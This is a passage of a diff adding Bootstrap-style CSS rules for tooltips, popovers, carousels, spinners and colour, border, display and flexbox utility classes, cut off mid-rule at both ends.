font-weight: 400; + line-height: 1.5; + text-align: left; + text-align: start; + text-decoration: none; + text-shadow: none; + text-transform: none; + letter-spacing: normal; + word-break: normal; + word-spacing: normal; + white-space: normal; + line-break: auto; + font-size: 0.875rem; + word-wrap: break-word; + opacity: 0; +} + +.tooltip.show { + opacity: 0.9; +} + +.tooltip .arrow { + position: absolute; + display: block; + width: 0.8rem; + height: 0.4rem; +} + +.tooltip .arrow::before { + position: absolute; + content: ""; + border-color: transparent; + border-style: solid; +} + +.bs-tooltip-top, .bs-tooltip-auto[x-placement^="top"] { + padding: 0.4rem 0; +} + +.bs-tooltip-top .arrow, .bs-tooltip-auto[x-placement^="top"] .arrow { + bottom: 0; +} + +.bs-tooltip-top .arrow::before, .bs-tooltip-auto[x-placement^="top"] .arrow::before { + top: 0; + border-width: 0.4rem 0.4rem 0; + border-top-color: #000; +} + +.bs-tooltip-right, .bs-tooltip-auto[x-placement^="right"] { + padding: 0 0.4rem; +} + +.bs-tooltip-right .arrow, .bs-tooltip-auto[x-placement^="right"] .arrow { + left: 0; + width: 0.4rem; + height: 0.8rem; +} + +.bs-tooltip-right .arrow::before, .bs-tooltip-auto[x-placement^="right"] .arrow::before { + right: 0; + border-width: 0.4rem 0.4rem 0.4rem 0; + border-right-color: #000; +} + +.bs-tooltip-bottom, .bs-tooltip-auto[x-placement^="bottom"] { + padding: 0.4rem 0; +} + +.bs-tooltip-bottom .arrow, .bs-tooltip-auto[x-placement^="bottom"] .arrow { + top: 0; +} + +.bs-tooltip-bottom .arrow::before, .bs-tooltip-auto[x-placement^="bottom"] .arrow::before { + bottom: 0; + border-width: 0 0.4rem 0.4rem; + border-bottom-color: #000; +} + +.bs-tooltip-left, .bs-tooltip-auto[x-placement^="left"] { + padding: 0 0.4rem; +} + +.bs-tooltip-left .arrow, .bs-tooltip-auto[x-placement^="left"] .arrow { + right: 0; + width: 0.4rem; + height: 0.8rem; +} + +.bs-tooltip-left .arrow::before, .bs-tooltip-auto[x-placement^="left"] .arrow::before { + left: 0; + border-width: 0.4rem 0 0.4rem 0.4rem; + border-left-color: #000; +} + +.tooltip-inner { + max-width: 200px; + padding: 0.25rem 0.5rem; + color: #fff; + text-align: center; + background-color: #000; + border-radius: 0.25rem; +} + +.popover { + position: absolute; + top: 0; + left: 0; + z-index: 1060; + display: block; + max-width: 276px; + font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, "Noto Sans", sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji"; + font-style: normal; + font-weight: 400; + line-height: 1.5; + text-align: left; + text-align: start; + text-decoration: none; + text-shadow: none; + text-transform: none; + letter-spacing: normal; + word-break: normal; + word-spacing: normal; + white-space: normal; + line-break: auto; + font-size: 0.875rem; + word-wrap: break-word; + background-color: #fff; + background-clip: padding-box; + border: 1px solid rgba(0, 0, 0, 0.2); + border-radius: 0.3rem; +} + +.popover .arrow { + position: absolute; + display: block; + width: 1rem; + height: 0.5rem; + margin: 0 0.3rem; +} + +.popover .arrow::before, .popover .arrow::after { + position: absolute; + display: block; + content: ""; + border-color: transparent; + border-style: solid; +} + +.bs-popover-top, .bs-popover-auto[x-placement^="top"] { + margin-bottom: 0.5rem; +} + +.bs-popover-top > .arrow, .bs-popover-auto[x-placement^="top"] > .arrow { + bottom: calc((0.5rem + 1px) * -1); +} + +.bs-popover-top > .arrow::before, .bs-popover-auto[x-placement^="top"] > .arrow::before { + bottom: 0; + border-width: 0.5rem 0.5rem 0; + border-top-color: rgba(0, 0, 0, 0.25); +} + +.bs-popover-top > .arrow::after, .bs-popover-auto[x-placement^="top"] > .arrow::after { + bottom: 1px; + border-width: 0.5rem 0.5rem 0; + border-top-color: #fff; +} + +.bs-popover-right, .bs-popover-auto[x-placement^="right"] { + margin-left: 0.5rem; +} + +.bs-popover-right > .arrow, .bs-popover-auto[x-placement^="right"] > .arrow { + left: calc((0.5rem + 1px) * -1); + width: 0.5rem; + height: 1rem; + margin: 0.3rem 0; +} + +.bs-popover-right > .arrow::before, .bs-popover-auto[x-placement^="right"] > .arrow::before { + left: 0; + border-width: 0.5rem 0.5rem 0.5rem 0; + border-right-color: rgba(0, 0, 0, 0.25); +} + +.bs-popover-right > .arrow::after, .bs-popover-auto[x-placement^="right"] > .arrow::after { + left: 1px; + border-width: 0.5rem 0.5rem 0.5rem 0; + border-right-color: #fff; +} + +.bs-popover-bottom, .bs-popover-auto[x-placement^="bottom"] { + margin-top: 0.5rem; +} + +.bs-popover-bottom > .arrow, .bs-popover-auto[x-placement^="bottom"] > .arrow { + top: calc((0.5rem + 1px) * -1); +} + +.bs-popover-bottom > .arrow::before, .bs-popover-auto[x-placement^="bottom"] > .arrow::before { + top: 0; + border-width: 0 0.5rem 0.5rem 0.5rem; + border-bottom-color: rgba(0, 0, 0, 0.25); +} + +.bs-popover-bottom > .arrow::after, .bs-popover-auto[x-placement^="bottom"] > .arrow::after { + top: 1px; + border-width: 0 0.5rem 0.5rem 0.5rem; + border-bottom-color: #fff; +} + +.bs-popover-bottom .popover-header::before, .bs-popover-auto[x-placement^="bottom"] .popover-header::before { + position: absolute; + top: 0; + left: 50%; + display: block; + width: 1rem; + margin-left: -0.5rem; + content: ""; + border-bottom: 1px solid #f7f7f7; +} + +.bs-popover-left, .bs-popover-auto[x-placement^="left"] { + margin-right: 0.5rem; +} + +.bs-popover-left > .arrow, .bs-popover-auto[x-placement^="left"] > .arrow { + right: calc((0.5rem + 1px) * -1); + width: 0.5rem; + height: 1rem; + margin: 0.3rem 0; +} + +.bs-popover-left > .arrow::before, .bs-popover-auto[x-placement^="left"] > .arrow::before { + right: 0; + border-width: 0.5rem 0 0.5rem 0.5rem; + border-left-color: rgba(0, 0, 0, 0.25); +} + +.bs-popover-left > .arrow::after, .bs-popover-auto[x-placement^="left"] > .arrow::after { + right: 1px; + border-width: 0.5rem 0 0.5rem 0.5rem; + border-left-color: #fff; +} + +.popover-header { + padding: 0.5rem 0.75rem; + margin-bottom: 0; + font-size: 1rem; + background-color: #f7f7f7; + border-bottom: 1px solid #ebebeb; + border-top-left-radius: calc(0.3rem - 1px); + border-top-right-radius: calc(0.3rem - 1px); +} + +.popover-header:empty { + display: none; +} + +.popover-body { + padding: 0.5rem 0.75rem; + color: #212529; +} + +.carousel { + position: relative; +} + +.carousel.pointer-event { + -ms-touch-action: pan-y; + touch-action: pan-y; +} + +.carousel-inner { + position: relative; + width: 100%; + overflow: hidden; +} + +.carousel-inner::after { + display: block; + clear: both; + content: ""; +} + +.carousel-item { + position: relative; + display: none; + float: left; + width: 100%; + margin-right: -100%; + -webkit-backface-visibility: hidden; + backface-visibility: hidden; + transition: -webkit-transform 0.6s ease-in-out; + transition: transform 0.6s ease-in-out; + transition: transform 0.6s ease-in-out, -webkit-transform 0.6s ease-in-out; +} + +@media (prefers-reduced-motion: reduce) { + .carousel-item { + transition: none; + } +} + +.carousel-item.active, +.carousel-item-next, +.carousel-item-prev { + display: block; +} + +.carousel-item-next:not(.carousel-item-left), +.active.carousel-item-right { + -webkit-transform: translateX(100%); + transform: translateX(100%); +} + +.carousel-item-prev:not(.carousel-item-right), +.active.carousel-item-left { + -webkit-transform: translateX(-100%); + transform: translateX(-100%); +} + +.carousel-fade .carousel-item { + opacity: 0; + transition-property: opacity; + -webkit-transform: none; + transform: none; +} + +.carousel-fade .carousel-item.active, +.carousel-fade .carousel-item-next.carousel-item-left, +.carousel-fade .carousel-item-prev.carousel-item-right { + z-index: 1; + opacity: 1; +} + +.carousel-fade .active.carousel-item-left, +.carousel-fade .active.carousel-item-right { + z-index: 0; + opacity: 0; + transition: 0s 0.6s opacity; +} + +@media (prefers-reduced-motion: reduce) { + .carousel-fade .active.carousel-item-left, + .carousel-fade .active.carousel-item-right { + transition: none; + } +} + +.carousel-control-prev, +.carousel-control-next { + position: absolute; + top: 0; + bottom: 0; + z-index: 1; + display: -ms-flexbox; + display: flex; + -ms-flex-align: center; + align-items: center; + -ms-flex-pack: center; + justify-content: center; + width: 15%; + color: #fff; + text-align: center; + opacity: 0.5; + transition: opacity 0.15s ease; +} + +@media (prefers-reduced-motion: reduce) { + .carousel-control-prev, + .carousel-control-next { + transition: none; + } +} + +.carousel-control-prev:hover, .carousel-control-prev:focus, +.carousel-control-next:hover, +.carousel-control-next:focus { + color: #fff; + text-decoration: none; + outline: 0; + opacity: 0.9; +} + +.carousel-control-prev { + left: 0; +} + +.carousel-control-next { + right: 0; +} + +.carousel-control-prev-icon, +.carousel-control-next-icon { + display: inline-block; + width: 20px; + height: 20px; + background: no-repeat 50% / 100% 100%; +} + +.carousel-control-prev-icon { + background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' fill='%23fff' viewBox='0 0 8 8'%3e%3cpath d='M5.25 0l-4 4 4 4 1.5-1.5-2.5-2.5 2.5-2.5-1.5-1.5z'/%3e%3c/svg%3e"); +} + +.carousel-control-next-icon { + background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' fill='%23fff' viewBox='0 0 8 8'%3e%3cpath d='M2.75 0l-1.5 1.5 2.5 2.5-2.5 2.5 1.5 1.5 4-4-4-4z'/%3e%3c/svg%3e"); +} + +.carousel-indicators { + position: absolute; + right: 0; + bottom: 0; + left: 0; + z-index: 15; + display: -ms-flexbox; + display: flex; + -ms-flex-pack: center; + justify-content: center; + padding-left: 0; + margin-right: 15%; + margin-left: 15%; + list-style: none; +} + +.carousel-indicators li { + box-sizing: content-box; + -ms-flex: 0 1 auto; + flex: 0 1 auto; + width: 30px; + height: 3px; + margin-right: 3px; + margin-left: 3px; + text-indent: -999px; + cursor: pointer; + background-color: #fff; + background-clip: padding-box; + border-top: 10px solid transparent; + border-bottom: 10px solid transparent; + opacity: .5; + transition: opacity 0.6s ease; +} + +@media (prefers-reduced-motion: reduce) { + .carousel-indicators li { + transition: none; + } +} + +.carousel-indicators .active { + opacity: 1; +} + +.carousel-caption { + position: absolute; + right: 15%; + bottom: 20px; + left: 15%; + z-index: 10; + padding-top: 20px; + padding-bottom: 20px; + color: #fff; + text-align: center; +} + +@-webkit-keyframes spinner-border { + to { + -webkit-transform: rotate(360deg); + transform: rotate(360deg); + } +} + +@keyframes spinner-border { + to { + -webkit-transform: rotate(360deg); + transform: rotate(360deg); + } +} + +.spinner-border { + display: inline-block; + width: 2rem; + height: 2rem; + vertical-align: text-bottom; + border: 0.25em solid currentColor; + border-right-color: transparent; + border-radius: 50%; + -webkit-animation: spinner-border .75s linear infinite; + animation: spinner-border .75s linear infinite; +} + +.spinner-border-sm { + width: 1rem; + height: 1rem; + border-width: 0.2em; +} + +@-webkit-keyframes spinner-grow { + 0% { + -webkit-transform: scale(0); + transform: scale(0); + } + 50% { + opacity: 1; + } +} + +@keyframes spinner-grow { + 0% { + -webkit-transform: scale(0); + transform: scale(0); + } + 50% { + opacity: 1; + } +} + +.spinner-grow { + display: inline-block; + width: 2rem; + height: 2rem; + vertical-align: text-bottom; + background-color: currentColor; + border-radius: 50%; + opacity: 0; + -webkit-animation: spinner-grow .75s linear infinite; + animation: spinner-grow .75s linear infinite; +} + +.spinner-grow-sm { + width: 1rem; + height: 1rem; +} + +.align-baseline { + vertical-align: baseline !important; +} + +.align-top { + vertical-align: top !important; +} + +.align-middle { + vertical-align: middle !important; +} + +.align-bottom { + vertical-align: bottom !important; +} + +.align-text-bottom { + vertical-align: text-bottom !important; +} + +.align-text-top { + vertical-align: text-top !important; +} + +.bg-primary { + background-color: #007bff !important; +} + +a.bg-primary:hover, a.bg-primary:focus, +button.bg-primary:hover, +button.bg-primary:focus { + background-color: #0062cc !important; +} + +.bg-secondary { + background-color: #6c757d !important; +} + +a.bg-secondary:hover, a.bg-secondary:focus, +button.bg-secondary:hover, +button.bg-secondary:focus { + background-color: #545b62 !important; +} + +.bg-success { + background-color: #28a745 !important; +} + +a.bg-success:hover, a.bg-success:focus, +button.bg-success:hover, +button.bg-success:focus { + background-color: #1e7e34 !important; +} + +.bg-info { + background-color: #17a2b8 !important; +} + +a.bg-info:hover, a.bg-info:focus, +button.bg-info:hover, +button.bg-info:focus { + background-color: #117a8b !important; +} + +.bg-warning { + background-color: #ffc107 !important; +} + +a.bg-warning:hover, a.bg-warning:focus, +button.bg-warning:hover, +button.bg-warning:focus { + background-color: #d39e00 !important; +} + +.bg-danger { + background-color: #dc3545 !important; +} + +a.bg-danger:hover, a.bg-danger:focus, +button.bg-danger:hover, +button.bg-danger:focus { + background-color: #bd2130 !important; +} + +.bg-light { + background-color: #f8f9fa !important; +} + +a.bg-light:hover, a.bg-light:focus, +button.bg-light:hover, +button.bg-light:focus { + background-color: #dae0e5 !important; +} + +.bg-dark { + background-color: #343a40 !important; +} + +a.bg-dark:hover, a.bg-dark:focus, +button.bg-dark:hover, +button.bg-dark:focus { + background-color: #1d2124 !important; +} + +.bg-white { + background-color: #fff !important; +} + +.bg-transparent { + background-color: transparent !important; +} + +.border { + border: 1px solid #dee2e6 !important; +} + +.border-top { + border-top: 1px solid #dee2e6 !important; +} + +.border-right { + border-right: 1px solid #dee2e6 !important; +} + +.border-bottom { + border-bottom: 1px solid #dee2e6 !important; +} + +.border-left { + border-left: 1px solid #dee2e6 !important; +} + +.border-0 { + border: 0 !important; +} + +.border-top-0 { + border-top: 0 !important; +} + +.border-right-0 { + border-right: 0 !important; +} + +.border-bottom-0 { + border-bottom: 0 !important; +} + +.border-left-0 { + border-left: 0 !important; +} + +.border-primary { + border-color: #007bff !important; +} + +.border-secondary { + border-color: #6c757d !important; +} + +.border-success { + border-color: #28a745 !important; +} + +.border-info { + border-color: #17a2b8 !important; +} + +.border-warning { + border-color: #ffc107 !important; +} + +.border-danger { + border-color: #dc3545 !important; +} + +.border-light { + border-color: #f8f9fa !important; +} + +.border-dark { + border-color: #343a40 !important; +} + +.border-white { + border-color: #fff !important; +} + +.rounded-sm { + border-radius: 0.2rem !important; +} + +.rounded { + border-radius: 0.25rem !important; +} + +.rounded-top { + border-top-left-radius: 0.25rem !important; + border-top-right-radius: 0.25rem !important; +} + +.rounded-right { + border-top-right-radius: 0.25rem !important; + border-bottom-right-radius: 0.25rem !important; +} + +.rounded-bottom { + border-bottom-right-radius: 0.25rem !important; + border-bottom-left-radius: 0.25rem !important; +} + +.rounded-left { + border-top-left-radius: 0.25rem !important; + border-bottom-left-radius: 0.25rem !important; +} + +.rounded-lg { + border-radius: 0.3rem !important; +} + +.rounded-circle { + border-radius: 50% !important; +} + +.rounded-pill { + border-radius: 50rem !important; +} + +.rounded-0 { + border-radius: 0 !important; +} + +.clearfix::after { + display: block; + clear: both; + content: ""; +} + +.d-none { + display: none !important; +} + +.d-inline { + display: inline !important; +} + +.d-inline-block { + display: inline-block !important; +} + +.d-block { + display: block !important; +} + +.d-table { + display: table !important; +} + +.d-table-row { + display: table-row !important; +} + +.d-table-cell { + display: table-cell !important; +} + +.d-flex { + display: -ms-flexbox !important; + display: flex !important; +} + +.d-inline-flex { + display: -ms-inline-flexbox !important; + display: inline-flex !important; +} + +@media (min-width: 576px) { + .d-sm-none { + display: none !important; + } + .d-sm-inline { + display: inline !important; + } + .d-sm-inline-block { + display: inline-block !important; + } + .d-sm-block { + display: block !important; + } + .d-sm-table { + display: table !important; + } + .d-sm-table-row { + display: table-row !important; + } + .d-sm-table-cell { + display: table-cell !important; + } + .d-sm-flex { + display: -ms-flexbox !important; + display: flex !important; + } + .d-sm-inline-flex { + display: -ms-inline-flexbox !important; + display: inline-flex !important; + } +} + +@media (min-width: 768px) { + .d-md-none { + display: none !important; + } + .d-md-inline { + display: inline !important; + } + .d-md-inline-block { + display: inline-block !important; + } + .d-md-block { + display: block !important; + } + .d-md-table { + display: table !important; + } + .d-md-table-row { + display: table-row !important; + } + .d-md-table-cell { + display: table-cell !important; + } + .d-md-flex { + display: -ms-flexbox !important; + display: flex !important; + } + .d-md-inline-flex { + display: -ms-inline-flexbox !important; + display: inline-flex !important; + } +} + +@media (min-width: 992px) { + .d-lg-none { + display: none !important; + } + .d-lg-inline { + display: inline !important; + } + .d-lg-inline-block { + display: inline-block !important; + } + .d-lg-block { + display: block !important; + } + .d-lg-table { + display: table !important; + } + .d-lg-table-row { + display: table-row !important; + } + .d-lg-table-cell { + display: table-cell !important; + } + .d-lg-flex { + display: -ms-flexbox !important; + display: flex !important; + } + .d-lg-inline-flex { + display: -ms-inline-flexbox !important; + display: inline-flex !important; + } +} + +@media (min-width: 1200px) { + .d-xl-none { + display: none !important; + } + .d-xl-inline { + display: inline !important; + } + .d-xl-inline-block { + display: inline-block !important; + } + .d-xl-block { + display: block !important; + } + .d-xl-table { + display: table !important; + } + .d-xl-table-row { + display: table-row !important; + } + .d-xl-table-cell { + display: table-cell !important; + } + .d-xl-flex { + display: -ms-flexbox !important; + display: flex !important; + } + .d-xl-inline-flex { + display: -ms-inline-flexbox !important; + display: inline-flex !important; + } +} + +@media print { + .d-print-none { + display: none !important; + } + .d-print-inline { + display: inline !important; + } + .d-print-inline-block { + display: inline-block !important; + } + .d-print-block { + display: block !important; + } + .d-print-table { + display: table !important; + } + .d-print-table-row { + display: table-row !important; + } + .d-print-table-cell { + display: table-cell !important; + } + .d-print-flex { + display: -ms-flexbox !important; + display: flex !important; + } + .d-print-inline-flex { + display: -ms-inline-flexbox !important; + display: inline-flex !important; + } +} + +.embed-responsive { + position: relative; + display: block; + width: 100%; + padding: 0; + overflow: hidden; +} + +.embed-responsive::before { + display: block; + content: ""; +} + +.embed-responsive .embed-responsive-item, +.embed-responsive iframe, +.embed-responsive embed, +.embed-responsive object, +.embed-responsive video { + position: absolute; + top: 0; + bottom: 0; + left: 0; + width: 100%; + height: 100%; + border: 0; +} + +.embed-responsive-21by9::before { + padding-top: 42.857143%; +} + +.embed-responsive-16by9::before { + padding-top: 56.25%; +} + +.embed-responsive-4by3::before { + padding-top: 75%; +} + +.embed-responsive-1by1::before { + padding-top: 100%; +} + +.flex-row { + -ms-flex-direction: row !important; + flex-direction: row !important; +} + +.flex-column { + -ms-flex-direction: column !important; + flex-direction: column !important; +} + +.flex-row-reverse { + -ms-flex-direction: row-reverse !important; + flex-direction: row-reverse !important; +} + +.flex-column-reverse { + -ms-flex-direction: column-reverse !important; + flex-direction: column-reverse !important; +} + +.flex-wrap { + -ms-flex-wrap: wrap !important; + flex-wrap: wrap !important; +} + +.flex-nowrap { + -ms-flex-wrap: nowrap !important; + flex-wrap: nowrap !important; +} + +.flex-wrap-reverse { + -ms-flex-wrap: wrap-reverse !important; + flex-wrap: wrap-reverse !important; +} + +.flex-fill { + -ms-flex: 1 1 auto !important; + flex: 1 1 auto !important; +} + +.flex-grow-0 { + -ms-flex-positive: 0 !important; + flex-grow: 0 !important; +} + +.flex-grow-1 { + -ms-flex-positive: 1 !important; + flex-grow: 1 !important; +} + +.flex-shrink-0 { + -ms-flex-negative: 0 !important; + flex-shrink: 0 !important; +} + +.flex-shrink-1 { + -ms-flex-negative: 1 !important; + flex-shrink: 1 !important; +} + +.justify-content-start { + -ms-flex-pack: start !important; + justify-content: flex-start !important; +} + +.justify-content-end { + -ms-flex-pack: end !important; + justify-content: flex-end !important; +} + +.justify-content-center { + -ms-flex-pack: center !important; + justify-content: center !important; +} + +.justify-content-between { + -ms-flex-pack: justify !important; + justify-content: space-between !important; +} + +.justify-content-around { + -ms-flex-pack: distribute !important; + justify-content: space-around !important; +} + +.align-items-start { + -ms-flex-align: start !important; + align-items: flex-start !important; +} + +.align-items-end { + -ms-flex-align: end !important; + align-items: flex-end !important; +} + +.align-items-center { + -ms-flex-align: center !important; + align-items: center !important; +} + +.align-items-baseline { + -ms-flex-align: baseline !important; + align-items: baseline !important; +} + +.align-items-stretch { + -ms-flex-align: stretch !important; + align-items: stretch !important; +} + +.align-content-start { + -ms-flex-line-pack: start !important; + align-content: flex-start !important; +} + +.align-content-end { + -ms-flex-line-pack: end !important; + align-content: flex-end !important; +} + +.align-content-center { + -ms-flex-line-pack: center !important; + align-content: center !important; +} + +.align-content-between { + -ms-flex-line-pack: justify !important; + align-content: space-between !important; +} + +.align-content-around { + -ms-flex-line-pack: distribute !important; + align-content: space-around !important; +} + +.align-content-stretch { + -ms-flex-line-pack: stretch !important; + align-content: stretch !important; +} + +.align-self-auto { + -ms-flex-item-align: auto !important; + align-self: auto !important; +} + +.align-self-start { + -ms-flex-item-align: start !important; + align-self: flex-start !important; +} + +.align-self-end { + -ms-flex-item-align: end !important; + align-self: flex-end !important; +} + +.align-self-center { + -ms-flex-item-align: center !important; + align-self: center !important; +} + +.align-self-baseline { + -ms-flex-item-align: baseline !important; + align-self: baseline !important; +} + +.align-self-stretch { + -ms-flex-item-align: stretch !important; + align-self: stretch !important; +} + +@media (min-width: 576px) { + .flex-sm-row { + -ms-flex-direction: row !important; + flex-direction: row !important; + } + .flex-sm-column { + -ms-flex-direction: column !important; + flex-direction: column !important; + } + .flex-sm-row-reverse { + -ms-flex-direction: row-reverse !important; + flex-direction: row-reverse !important; + } + .flex-sm-column-reverse { + -ms-flex-direction: column-reverse !important; + flex-direction: column-reverse !important; + } + .flex-sm-wrap { + -ms-flex-wrap: wrap !important; + flex-wrap: wrap !important; + } + .flex-sm-nowrap { + -ms-flex-wrap: nowrap !important; + flex-wrap: nowrap !important; + } + .flex-sm-wrap-reverse { + -ms-flex-wrap: wrap-reverse !important; + flex-wrap: wrap-reverse !important; + } + .flex-sm-fill { + -ms-flex: 1 1 auto !important; + flex: 1 1 auto !important; + } + .flex-sm-grow-0 { + -ms-flex-positive: 0 !important; + flex-grow: 0 !important; + } + .flex-sm-grow-1 { + -ms-flex-positive: 1 !important; + flex-grow: 1 !important; + } + .flex-sm-shrink-0 { + -ms-flex-negative: 0 !important; + flex-shrink: 0 !important; + } + .flex-sm-shrink-1 { + -ms-flex-negative: 1 !important; + flex-shrink: 1 !important; + } + .justify-content-sm-start { + -ms-flex-pack: start !important; + justify-content: flex-start !important; + } + .justify-content-sm-end { + -ms-flex-pack: end !important; + justify-content: flex-end !important; + } + .justify-content-sm-center { + -ms-flex-pack: center !important; + justify-content: center !important; + } + .justify-content-sm-between { + -ms-flex-pack: justify !important; + justify-content: space-between !important; + } + .justify-content-sm-around { + -ms-flex-pack: distribute !important; + justify-content: space-around !important; + } + .align-items-sm-start { + -ms-flex-align: start !important; + align-items: flex-start !important; + } + .align-items-sm-end { + -ms-flex-align: end !important; + align-items: flex-end !important; + } + .align-items-sm-center { + -ms-flex-align: center !important; + align-items: center !important; + } + .align-items-sm-baseline { + -ms-flex-align: baseline !important; + align-items: baseline !important; + } + .align-items-sm-stretch { + -ms-flex-align: stretch !important; + align-items: stretch !important; + } + .align-content-sm-start { + -ms-flex-line-pack: start !important; + align-content: flex-start !important; + } + .align-content-sm-end { + -ms-flex-line-pack: end !important; + align-content: flex-end !important; + } + .align-content-sm-center { + -ms-flex-line-pack: center !important; + align-content: center !important; + } + .align-content-sm-between { + -ms-flex-line-pack: justify !important; + align-content: space-between !important; + } + .align-content-sm-around { + -ms-flex-line-pack: distribute !important; + align-content: space-around !important; + } + .align-content-sm-stretch { + -ms-flex-line-pack: stretch !important; + align-content: stretch !important; + } + .align-self-sm-auto { + -ms-flex-item-align: auto !important; + align-self: auto !important; + } + .align-self-sm-start { + -ms-flex-item-align: start !important; + align-self: flex-start !important; + } + .align-self-sm-end { + -ms-flex-item-align: end !important; + align-self: flex-end !important; + } + .align-self-sm-center { + -ms-flex-item-align: center !important; + align-self: center !important; + } + .align-self-sm-baseline { + -ms-flex-item-align: baseline !important; + align-self: baseline !important; + } + .align-self-sm-stretch { + -ms-flex-item-align: stretch !important; + align-self: stretch !important; + } +} + +@media (min-width: 768px) { + .flex-md-row { + -ms-flex-direction: row !important; + flex-direction: row !important; + } + .flex-md-column { + -ms-flex-direction: column !important; + flex-direction: column !important; + } + .flex-md-row-reverse { + -ms-flex-direction: row-reverse !important; + flex-direction: row-reverse !important; + } + .flex-md-column-reverse { + -ms-flex-direction: column-reverse !important; + flex-direction: column-reverse !important; + } + .flex-md-wrap { + -ms-flex-wrap: wrap !important; + flex-wrap: wrap !important; + } + .flex-md-nowrap { + -ms-flex-wrap: nowrap !important; + flex-wrap: nowrap !important; + } + .flex-md-wrap-reverse { + -ms-flex-wrap: wrap-reverse !important; + flex-wrap: wrap-reverse !important; + } + .flex-md-fill { + -ms-flex: 1 1 auto !important; + flex: 1 1 auto !important; + } + .flex-md-grow-0 { + -ms-flex-positive: 0 !important; + flex-grow: 0 !important; + } + .flex-md-grow-1 { + -ms-flex-positive: 1 !important; + flex-grow: 1 !important; + } + .flex-md-shrink-0 { + -ms-flex-negative: 0 !important; + flex-shrink: 0 !important; + } + .flex-md-shrink-1 { + -ms-flex-negative: 1 !important; + flex-shrink: 1 !important; + } + .justify-content-md-start { + -ms-flex-pack: start !important; + justify-content: flex-start !important; + } + .justify-content-md-end { + -ms-flex-pack: end !important; + justify-content: flex-end !important; + } + .justify-content-md-center { + -ms-flex-pack: center !important; + justify-content: center !important; + } + .justify-content-md-between { + -ms-flex-pack: justify !important; + justify-content: space-between !important; + } + .justify-content-md-around { + -ms-flex-pack: distribute !important; + justify-content: space-around !important; + } + .align-items-md-start { + -ms-flex-align: start !important; + align-items: flex-start !important; + } + .align-items-md-end { + -ms-flex-align: end !important; + align-items: flex-end !important; + } + .align-items-md-center { + -ms-flex-align: center !important; + align-items: center !important; + } + .align-items-md-baseline { + -ms-flex-align: baseline !important; + align-items: baseline !important; + } + .align-items-md-stretch { + -ms-flex-align: stretch !important; + align-items: stretch !important; + } + .align-content-md-start { + -ms-flex-line-pack: start !important; + align-content: flex-start !important; + } + .align-content-md-end { + -ms-flex-line-pack: end !important; + align-content: flex-end !important; + } + .align-content-md-center { + -ms-flex-line-pack: center !important; + align-content: center !important; + } + .align-content-md-between { + -ms-flex-line-pack: justify !important; + align-content: space-between !important; + } + .align-content-md-around { + -ms-flex-line-pack: distribute !important; + align-content: space-around !important; + } + .align-content-md-stretch { + -ms-flex-line-pack: stretch !important; + align-content: stretch !important; + } + .align-self-md-auto { + -ms-flex-item-align: auto !important; + align-self: auto !important; + } + .align-self-md-start { + -ms-flex-item-align: start !important; + align-self: flex-start !important; + } + .align-self-md-end { + -ms-flex-item-align: end !important; + align-self: flex-end !important; + } + .align-self-md-center { + -ms-flex-item-align: center !important; + align-self: center !important; + } + .align-self-md-baseline { + -ms-flex-item-align: baseline !important; + align-self: baseline !important; + } + .align-self-md-stretch { + -ms-flex-item-align: stretch !important; + align-self: stretch !important; + } +} + +@media (min-width: 992px) { + .flex-lg-row { + -ms-flex-direction: row !important; + flex-direction: row !important; + } + .flex-lg-column { + -ms-flex-direction: column !important; + flex-direction: column !important; + } + .flex-lg-row-reverse { + -ms-flex-direction: row-reverse !important; + flex-direction: row-reverse !important; + } + .flex-lg-column-reverse { + -ms-flex-direction: column-reverse !important; + flex-direction: column-reverse !important; + } + .flex-lg-wrap { + -ms-flex-wrap: wrap !important; + flex-wrap: wrap !important; + } + .flex-lg-nowrap { + -ms-flex-wrap: nowrap !important; + flex-wrap: nowrap !important; + } + .flex-lg-wrap-reverse { + -ms-flex-wrap: wrap-reverse !important; + flex-wrap: wrap-reverse !important; + } + .flex-lg-fill { + -ms-flex: 1 1 auto !important; + flex: 1 1 auto !important; + } + .flex-lg-grow-0 { + -ms-flex-positive: 0 !important; + flex-grow: 0 !important; + } + .flex-lg-grow-1 { + -ms-flex-positive: 1 !important; + flex-grow: 1 !important; + } + .flex-lg-shrink-0 { + -ms-flex-negative: 0 !important; + flex-shrink: 0 !important; + } + .flex-lg-shrink-1 { + -ms-flex-negative: 1 !important; + flex-shrink: 1 !important; + } + .justify-content-lg-start { + -ms-flex-pack: start !important; + justify-content: flex-start !important; + } + .justify-content-lg-end { + -ms-flex-pack: end !important; + justify-content: flex-end !important; + } + .justify-content-lg-center { + -ms-flex-pack: center !important; + justify-content: center !important; + } + .justify-content-lg-between { + -ms-flex-pack: justify !important; + justify-content: space-between !important; + } + .justify-content-lg-around { + -ms-flex-pack: distribute !important; + justify-content: space-around !important; + } + .align-items-lg-start { + -ms-flex-align: start !important; + align-items: flex-start !important; + } + .align-items-lg-end { + -ms-flex-align: end !important; + align-items: flex-end !important; + } + .align-items-lg-center { + -ms-flex-align: center !important; + align-items: center !important; + } + .align-items-lg-baseline { + -ms-flex-align: baseline !important; + align-items: baseline !important; + } + .align-items-lg-stretch { + -ms-flex-align: stretch !important; + align-items: stretch !important; + } + .align-content-lg-start { + -ms-flex-line-pack: start !important; + align-content: flex-start !important; + } + .align-content-lg-end { + -ms-flex-line-pack: end !important; + align-content: flex-end !important; + } + .align-content-lg-center { + -ms-flex-line-pack: center !important; + align-content: center !important; + } + .align-content-lg-between { + -ms-flex-line-pack: justify !important; + align-content: space-between !important; + } + .align-content-lg-around { + -ms-flex-line-pack: distribute !important; + align-content: space-around !important; + } + .align-content-lg-stretch { + -ms-flex-line-pack: stretch !important; + align-content: stretch !important; + } + .align-self-lg-auto { + -ms-flex-item-align: auto !important; + align-self: auto !important; + } + .align-self-lg-start { + -ms-flex-item-align: start !important; + align-self: flex-start !important; + } + .align-self-lg-end { + -ms-flex-item-align: end !important; + align-self: flex-end !important; + } + .align-self-lg-center { + -ms-flex-item-align: center !important; + align-self: center !important; + } + .align-self-lg-baseline { + -ms-flex-item-align: baseline !important; + align-self: baseline !important; + } + .align-self-lg-stretch { + -ms-flex-item-align: stretch !important; + align-self: stretch !important; + } +} + +@media (min-width: 1200px) { + .flex-xl-row { + -ms-flex-direction: row !important; + flex-direction: row !important; + } + .flex-xl-column { + -ms-flex-direction: column !important; + flex-direction: column !important; + } + 